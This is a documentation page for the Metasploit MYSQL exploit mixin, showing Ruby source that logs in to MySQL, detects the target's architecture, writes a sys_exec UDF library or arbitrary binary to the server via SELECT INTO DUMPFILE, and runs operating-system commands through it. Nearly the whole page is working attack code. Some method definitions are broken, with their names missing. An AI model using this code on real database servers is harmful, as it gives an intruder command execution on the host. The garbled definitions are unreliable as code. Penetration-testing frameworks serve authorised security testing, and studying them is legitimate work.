Module: Msf::Exploit::Remote::MYSQL

Includes:
Tcp
Defined in:
lib/msf/core/exploit/mysql.rb

Instance Attribute Summary

Attributes included from Tcp

#sock

Instance Method Summary collapse

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #deregister_tcp_options, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Instance Method Details

#initialize(info = {}) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 23

def initialize(info = {})
  super

  register_options(
    [
      Opt::RHOST,
      Opt::RPORT(3306),
      OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
      OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
    ], Msf::Exploit::Remote::MYSQL
  )
end

#mysql_add_sys_execObject


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# File 'lib/msf/core/exploit/mysql.rb', line 209

def mysql_add_sys_exec
  arch = mysql_get_arch
  case arch
  when :win64,:win32,:linux64,:linux32
    target_path = mysql_get_plugin_dir
    if target_path
      print_status "Target arch (#{arch}) and target path both okay."
      soname = mysql_upload_sys_udf(arch,target_path)
      mysql_drop_and_create_sys_exec(soname)
      return true
    else
      print_status "Cannot determine an appropriate target path."
      false
    end
  when :unknown
    print_error "Cannot determine target's architecture"
    return false
  else
    print_error "Target is an incompatible architecture: #{arch}"
    return false
  end
end

#mysql_check_for_sys_execObject


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# File 'lib/msf/core/exploit/mysql.rb', line 232

def mysql_check_for_sys_exec
  print_status "Checking for sys_exec()..."
  res = mysql_query("select * from mysql.func where name = 'sys_exec'")
  res.size == 1
end

#mysql_drop_and_create_sys_exec(soname) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 175

def mysql_drop_and_create_sys_exec(soname)
  # Just drop it. MySQL will always say "OK" anyway.
  # See #5244
  mysql_query("DROP FUNCTION IF EXISTS sys_exec")

  res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
  return false if res.nil?

  return true
end

#mysql_get_archObject


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# File 'lib/msf/core/exploit/mysql.rb', line 186

def mysql_get_arch
  print_status "Checking target architecture..."
  res = mysql_get_variable("@@version_compile_os")
  return :unknown unless res
  case res
  when /Win64/i
    :win64
  when /Win32/i
    :win32
  when /Linux/i
    # we need a second query to determine bits
    res = mysql_get_variable("@@version_compile_machine")
    return :unknown unless res
    if res =~ /x86_64/i
      :linux64
    else
      :linux32
    end
  else
    res
  end
end

#mysql_get_plugin_dirObject


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# File 'lib/msf/core/exploit/mysql.rb', line 100

def mysql_get_plugin_dir
  print_status "Checking for MySQL plugin directory..."
  plugin_res = nil
  base_res = nil
  plugin_res = mysql_get_variable("@@plugin_dir") rescue nil
  begin
    res = mysql_query("show variables like 'basedir'")
    base_res = res.first[1] if res.respond_to? :first
  rescue nil

  end

  if plugin_res.respond_to? :split
    target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
  elsif base_res.respond_to? :split
    target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
  else
    print_error "Cannot determine the plugin directory."
    return false
  end
end

#mysql_get_temp_dirObject


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# File 'lib/msf/core/exploit/mysql.rb', line 122

def mysql_get_temp_dir
  print_status "Checking for temp directory..."
  res = mysql_get_variable("@@tmpdir")
  if res.respond_to? :split
    target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
  else
    print_error "Cannot determine the temp directory, exiting."
    return false
  end
end

#mysql_get_variable(var) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 133

def mysql_get_variable(var)
  res = mysql_query("SELECT #{var}")
  if res and res.respond_to? :first
    return res.first.first
  end
end

#mysql_login(user = 'root', pass = '', db = nil) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 36

def (user='root', pass='', db=nil)
  disconnect if self.sock
  connect

  begin
    @mysql_handle = ::RbMysql.connect({
      :host           => rhost,
      :port           => rport,
      :read_timeout   => 300,
      :write_timeout  => 300,
      :socket         => sock,
      :user           => user,
      :password       => pass,
      :db             => db
    })
  rescue Errno::ECONNREFUSED
    print_error("Connection refused")
    return false
  rescue RbMysql::ClientError
    print_error("Connection timedout")
    return false
  rescue Errno::ETIMEDOUT
    print_error("Operation timedout")
    return false
  rescue RbMysql::HostNotPrivileged
    print_error("Unable to login from this host due to policy")
    return false
  rescue RbMysql::AccessDeniedError
    print_error("Access denied")
    return false
  end

  return true
end

#mysql_login_datastoreObject


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# File 'lib/msf/core/exploit/mysql.rb', line 76

def 
  begin
    res = (datastore['USERNAME'], datastore['PASSWORD'])
  rescue Rex::ConnectionTimeout => e
    print_error("Timeout: #{e.message}")
    res = false
  end

  return res
end

#mysql_logoffObject


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# File 'lib/msf/core/exploit/mysql.rb', line 71

def mysql_logoff
  @mysql_handle = nil if @mysql_handle
  disconnect if self.sock
end

#mysql_query(sql) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 87

def mysql_query(sql)
  begin
    res = @mysql_handle.query(sql)
  rescue ::RbMysql::Error => e
    print_error("MySQL Error: #{e.class} #{e.to_s}")
    return nil
  rescue Rex::ConnectionTimeout => e
    print_error("Timeout: #{e.message}")
    return nil
  end
  res
end

#mysql_sys_exec(cmd, doprint = false, opts = {}) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 238

def mysql_sys_exec(cmd,doprint=false,opts={})
  res = mysql_query("select sys_exec('#{cmd}')")
  if res && doprint
    print_status "Executing: #{cmd}"
    return res
  end
end

#mysql_upload_binary(bindata) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 140

def mysql_upload_binary(bindata)
  blob = "0x"
  blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join
  tmpdir = mysql_get_temp_dir
  binname = Rex::Text.rand_text_alpha(8)
  binpath = tmpdir << binname
  print_status "Uploading binary as #{binpath}..."
  print_status "SELECT #{blob} into DUMPFILE '#{binpath}'"
  res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
  return res
end

#mysql_upload_sys_udf(arch = :win32, target_path = nil) ⇒ Object


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# File 'lib/msf/core/exploit/mysql.rb', line 152

def mysql_upload_sys_udf(arch=:win32,target_path=nil)
  case arch
  when :win32
    fname = 'lib_mysqludf_sys_32.dll'
  when :win64
    fname = 'lib_mysqludf_sys_64.dll'
  when :linux32
    fname = 'lib_mysqludf_sys_32.so'
  when :linux64
    fname = 'lib_mysqludf_sys_64.so'
  end
  sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
  data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
  blob = "0x"
  blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
  dll_name = Rex::Text.rand_text_alpha(8)
  [:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so'
  target_dll = target_path << dll_name << extension
  print_status "Uploading #{fname} library to #{target_dll}..."
  mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
  return dll_name << extension
end